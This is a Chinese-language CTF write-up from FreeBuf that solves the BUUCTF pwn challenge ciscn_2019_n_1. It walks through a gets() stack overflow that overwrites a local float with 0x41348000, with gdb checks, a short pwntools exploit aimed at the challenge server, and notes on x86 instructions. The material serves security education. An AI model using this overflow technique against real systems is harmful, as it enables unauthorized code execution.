freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

从题海中入门(四)ciscn_2019_n_1
2022-06-14 15:44:50
所属地 北京

0x01 前言

题目来自BUUCTF pwn。相关知识点总结是针对于题目写的,所以会比较简洁,如果想详细了解,知识点来源会在参考文献里给出链接^^。

0x02 审题

image.png没从名字来看出啥,直接对文件进行分析吧。

0x03 静态分析

3.1 checksec体检

image.png
Stack: No canary found (栈溢出关闭) PIE: No PIE (0x400000) (地址随机化关闭)

猜测又是一道栈溢出题目。

3.2 IDA pro分析

3.2.1 阅读源码

主函数的内容没什么特别的,但是调用了func函数:image.png就直接看func函数:
image.png可以直接看到红框中的代码段就是我们的目标,那么往上阅读代码就可以知道如何才能让程序走到这个分支里:
image.png这里的逻辑其实很清楚:

  1. call  _gets   使用栈溢出的方法;

  2. jp short loc_4006CF    标志位PF为1时跳转,即奇偶性为偶数时跳转;

  3. jnz  short loc_4006CF   标志位ZF不为0时跳转,即不相等时跳转;

命令ucomiss会比较两个数的值,进而影响ZF、PF、CF的值,我记忆的方法就是:第一个操作数减去第二操作数,根据结果判断那个标志位会发生改变,如结果为负数,说明发生了进位,即CF会变成1。
根据以上逻辑,得出的判断就是:使程序不会跳转到loc_4006CF ——> PF为0,ZF为1 ——> var_4是一个正常的数,且var_4与0x4007F4上的数相等。
0x4007F4位置的数为:image.png这是一个dd(四字节的数): 41348000h


3.2.2 栈溢出点

在上文知道gets函数的输入变量是var_30,那么需要做的就是溢出var_30的范围进而覆盖var_4中的值,且使覆盖的值为41348000h。
由下图stack of main所示,需要先填充30h-4h=2c h 个字节,再赋值41348000h。
image.png
image.png

0x04 动态调试

为了方便验证思路,可以直接在gdb中给var_4的位置赋值,可以看到在gdb中,var_4的位置位于rbp-4:
image.png那就直接打印出此位置,然后赋值:
image.pngimage.png

赋值之后检查内存是否如料想中那样:
image.png

再检查标志寄存器,确实如分析的那样,两个值相等会得到ZF:
image.png
往下运行,发现可以成功走到system函数即为成功:
image.png0x05 Exp编写

from pwn import *

#p = process('./warmup_csaw_2016')

p = remote('node4.buuoj.cn', 25946)
#context.terminal = ['tmux','splitw', '-h']
#context(arch = 'amd64' , os = 'linux', log_level="debug")

payload = b'a'*0x2c + p64(0x41348000)
#gdb.attach(p, gdbscript="b *(0x40069e)")
p.sendline(payload)

p.interactive()

image.png

0x06 知识点总结

6.1 汇编

lea (load effective address)

lea reg16, mem
LEA指令将存储器操作数mem的4位16进制偏移地址送到指定的寄存器。这里,源操作数必须是存储器操作数,目标操作数必须是16位通用寄存器。因该寄存器常用来作为地址指针,故在此最好选用四个间址寄存器BX,BP,SI,DI之一。

pxor

pxor XMM, XMM/m128
源存储器128个二进制位'异或'目的寄存器128个二进制位,结果送入目的寄存器,内存变量必须对齐内存16字节。

dword ptr [ ]

dword 双字 就是四个字节;
ptr pointer缩写 即指针;
[]里的数据是一个地址值,这个地址指向一个双字型数据;
比如mov eax, dword ptr [12345678] 把内存地址12345678中的双字型(32位)数据赋给eax。

movss

movss XMM, m32/XMM
操作数为m32时:dest[31-00] <== m32      dest[127-32] <== 0,即低位赋值,高位置零;
操作数为XMM时: dest[31-00] <== src[31-00] dest[127-32]不变。

ucomiss

ucomiss XMM, m32/XMM
ucomiss 这条指令会根据两个比较操作数的数值得到对应的四种不同的结果,对于每一种结果,OF、AF、SF 这三个标志位都会被清零,而 ZF、CF、PF 这三个标志位会根据比较结果的不同而有所不同。因此我们在实际应用场合不能用 L、G 等表示通用算术比较指令得到的带符号的条件码,因为它们主要依赖 OF 和 AF 这两个标志位。下面详细介绍这四种结果。

比较结果描述ZFPFCF
UNORDERED当任一一个操作数为NaN时(包括QNaN和SNaN)111
大于当第一个操作数大于第二个操作数时000
小于当第一个操作数小于第二个操作数时001
等于当第一个操作数相等于第二个操作数时100

这里稍微科普一下关于QNaN和SNaN。QNaN表示“Quiet Not a Number”,指示当前所产生的非数不需要发出异常信号;而SNaN表示“Signaling Not a Number”,指示当前所产生的非数是情况比较严重的,可能需要发出异常信号(比如 0.0 / 0.0 之类的)。

jp/jpe (jump when has parity flag)

jp/jpe xxx
奇偶性为偶数时转移,当执行到JPE(JP)命令时,如果此时标志位PF=1,则跳转到指定的地址,如果PF=0,不跳转。

jne/jnz (jump when not has zero flag)

jne/jnz xxx
不等于时转移。

6.2 IDA pro

变量类型存储大小
db一字节
dw两字节
dd四字节
df六字节
dq八字节

0x07 参考文献

[BUUCTF]PWN5——ciscn_2019_n_1
BUUCTF—ciscn_2019_n_1 1
汇编指令LEA
汇编指令: JO、JNO、JB、JNB、JE、JNE、JBE、JA、JS、JNS、JP、JNP、JL、JNL、JNG、JG、JCXZ、JECXZ、JMP、JMPE
JS、JNS、JP(JPE)、JNP(JPO)指令详解、从原理上解释
X86-EFLAGS寄存器
汇编语言指令英文全称
关于dword ptr 指令的意思
Intel 64/x86_64/IA-32/x86处理器 - SIMD指令集 - SSE扩展(6) - 逻辑指令 & 比较指令
SSE2指令集

# CTF
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录